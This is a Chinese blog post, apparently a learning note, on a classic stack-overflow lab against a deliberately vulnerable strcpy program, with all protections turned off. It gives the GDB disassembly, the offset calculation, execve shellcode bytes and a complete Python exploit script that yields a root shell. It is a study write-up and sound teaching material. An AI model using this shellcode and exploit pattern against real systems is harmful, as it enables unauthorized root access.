栈溢出学习发布时间:2020/10/25 8:49:18 阅读次数:

  

经典栈溢出

  这次实验是最简单的栈溢出实验,没有任何防护机制。


  实验环境


  Ubuntu12.04(一开始用的64位Kali-Linux,踩了不少坑,最后还是用了教程上面的环境Ubuntu12.04)


  漏洞代码:


  //vuln.c


  #include <stdio.h>


  #include <string.h>


  int main(int argc, char* argv[]) {


  /* [1] */ char buf[256];


  /* [2] */ strcpy(buf,argv[1]);


  /* [3] */ printf("Input:%s\n",buf);


  return 0;


  }


  分析:当我们输出的字符串大于256字节,覆盖到main函数的返回地址,使其指向我们的shellcode,就可以完成攻击


  编译命令


  $echo 0 > /proc/sys/kernel/randomize_va_space


  $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c


  第一条指令是为了关闭ASRL保护机制


  第二条指令-g 产生debug信息,便于接下来使用dgb调试,-fno-stack-protector关闭canary保护机制,-z execstack关闭NX保护机制,允许在栈上执行代码。


  GDB运行程序


  gdb -q vuln


  运行程序


  (gdb) disassemble main


  Dump of assembler code for function main:           //注意Intel格式


  0x08048414 <+0>: push   %ebp


  0x08048415 <+1>: mov    %esp,%ebp                //这两句不用解释


  0x08048417 <+3>: and    $0xfffffff0,%esp         //对齐


  0x0804841a <+6>: sub    $0x110,%esp              //分配栈空间


  0x08048420 <+12>:    mov    0xc(%ebp),%eax       //%eax = argv


  0x08048423 <+15>:    add    $0x4,%eax            //$eax = argv + 4 = &argv[1]


  0x08048426 <+18>:    mov    (%eax),%eax          //%eax = argv[1]


  0x08048428 <+20>:    mov    %eax,0x4(%esp)       //Mem[%esp + 4] = %eax = argv[1]


  0x0804842c <+24>:    lea    0x10(%esp),%eax      //%eax = %esp + 10  这个esp+10就是buf的起始地址


  0x08048430 <+28>:    mov    %eax,(%esp)          //Mem[%esp] = %eax = %esp + 10


  0x08048433 <+31>:    call   0x8048330 <strcpy@plt>   //调用strcpy函数


  0x08048438 <+36>:    mov    $0x8048530,%eax      //0x8048330应该是"Input:%s"的起始地址


  0x0804843d <+41>:    lea    0x10(%esp),%edx      //%edx = %esp + 10等于buf的起始地址


  0x08048441 <+45>:    mov    %edx,0x4(%esp)       //Mem[%esp + 4] = %esp + 10


  0x08048445 <+49>:    mov    %eax,(%esp)          //Mem[%esp] = 0x8048330,其实这里涉及到一个很有意思的东西,linux32位下面的函数调用约定_cdecl,从右向左依次压栈,因此"Input:%s“在栈顶,buf在%esp+4的位置


  0x08048448 <+52>:    call   0x8048320 <printf@plt>   //调用printf函数


  0x0804844d <+57>:    mov    $0x0,%eax    //设置返回值为0,return 0


  0x08048452 <+62>:    leave  //%esp = %ebp, pop %ebp


  0x08048453 <+63>:    ret    //%eip = [%esp], %esp += 4


  End of assembler dump.

1603293971.png


  shellcode攻击分为以下三步


  • 找到buf起始地址到返回地址的空间大小


  经过上面的反汇编代码,我们可以看到buf起始地址在%esp+10的地方,而%esp = %ebp - 0x110,依次他距离%ebp为0x100字节由于前面有一个%esp对齐操作,造成了esp大小的改变,教程中直接说明这里面esp其实移动了8字节,然后再算上ebp寄存器4字节的大小,所以一共是0x10C个字节(268个字节)


  这里提供一个找自己方便的方式,不需要知道and 0xfffffff0, %esp指令的效果,便可以计算出原来的esp到没有减0x110的esp之间的距离


  (gdb) b *0x08048414             //我们在push %ebp处打断点,这时esp栈顶指针指向返回地址


  Breakpoint 1 at 0x8048414: file basic_stack_overflow.c, line 4.


  (gdb) b *0x0804841a             //在sub $0x110, %esp处打断点,这是esp的值为原来的esp-4,然后对齐过后的值,可以想象,这两条指令执行之前esp的差值最后加上0x100就是buf到返回地址的差距


  Breakpoint 2 at 0x804841a: file basic_stack_overflow.c, line 4.


  (gdb) run


  The program being debugged has been started already.


  Start it from the beginning? (y or n) y


  Starting program: /home/jackson/Program/CTF/Pwn/vuln


  Breakpoint 1, main (argc=2, argv=0xbffff614)


  at basic_stack_overflow.c:4


  4   int main(int argc, char* argv[]) {


  (gdb) p $esp                    //查看第一个断点esp的值


  $4 = (void *) 0xbffff57c


  (gdb) c


  Continuing.


  Breakpoint 2, 0x0804841a in main (argc=2, argv=0xbffff614)


  at basic_stack_overflow.c:4


  4   int main(int argc, char* argv[]) {


  (gdb) p $esp                    //查看第二个断点esp的值


  $5 = (void *) 0xbffff570


  (gdb)


  0xbffff570-0xbffff57c = 0xc = 12


  12 + 0x100 = 0x10c = 268


  决定覆盖返回地址的新地址,也就是我们shellcode的起始地址


  这个起始地址一般是指向返回地址的esp值+4,需要获取时我们就在ret指令之前打一个断点,然后p指令输出


  (gdb) b *0x08048453         //打断点


  Breakpoint 2 at 0x8048453: file basic_stack_overflow.c, line 9.


  (gdb) run ——python -c 'print "A" * 300'——


  The program being debugged has been started already.


  Start it from the beginning? (y or n) y


  Starting program: /home/jackson/Program/CTF/Pwn/vuln ——python -c 'print "A" * 300'——


  Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


  Breakpoint 2, 0x08048453 in main (argc=1094795585, argv=0x41414141)


  at basic_stack_overflow.c:9


  9   }


  (gdb) p $esp


  $1 = (void *) 0xbffff55c


  (gdb)


  可以看到指向return address的栈指针为0xbffff55c,因此我们设置新的地址的值可以是0xbffff560,实际上gdb调试的地址和真实运行时的地址是不一样的,参见https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html


  • shellcode的编写


  本次shellcode实现——execv('/bin//sh')的函数


  0:  31 c0                   xor    eax,eax


  2:  50                      push   eax


  3:  68 2f 2f 73 68          push   0x68732f2f   //'//sh'


  8:  68 2f 62 69 6e          push   0x6e69622f   //'/bin'


  d:  89 e3                   mov    ebx,esp


  f:  50                      push   eax


  10: 89 e2                   mov    edx,esp


  12: 53                      push   ebx


  13: 89 e1                   mov    ecx,esp


  15: b0 0b                   mov    al,0xb


  17: cd 80                   int    0x80


  开始Exploit


  #exp.py


  #!/usr/bin/env python


  import struct


  from subprocess import call


  #Stack address where shellcode is copied.


  ret_addr = 0xbffff1d0       #记得修改为自己的


  #Spawn a shell


  #execve(/bin/sh)


  scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"      #就是我们上面的汇编代码的机器码


  #endianess convertion


  def conv(num):


  return struct.pack("<I",num)


  # buf = Junk + RA + NOP's + Shellcode


  buf = "A" * 268


  buf += conv(ret_addr)


  buf += "\x90" * 100


  buf += scode


  print "Calling vulnerable program"


  call(["./vuln", buf])


  执行效果如下:


  $ python exp.py


  Calling vulnerable program


  Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���


  # id


  uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)


  # exit


  $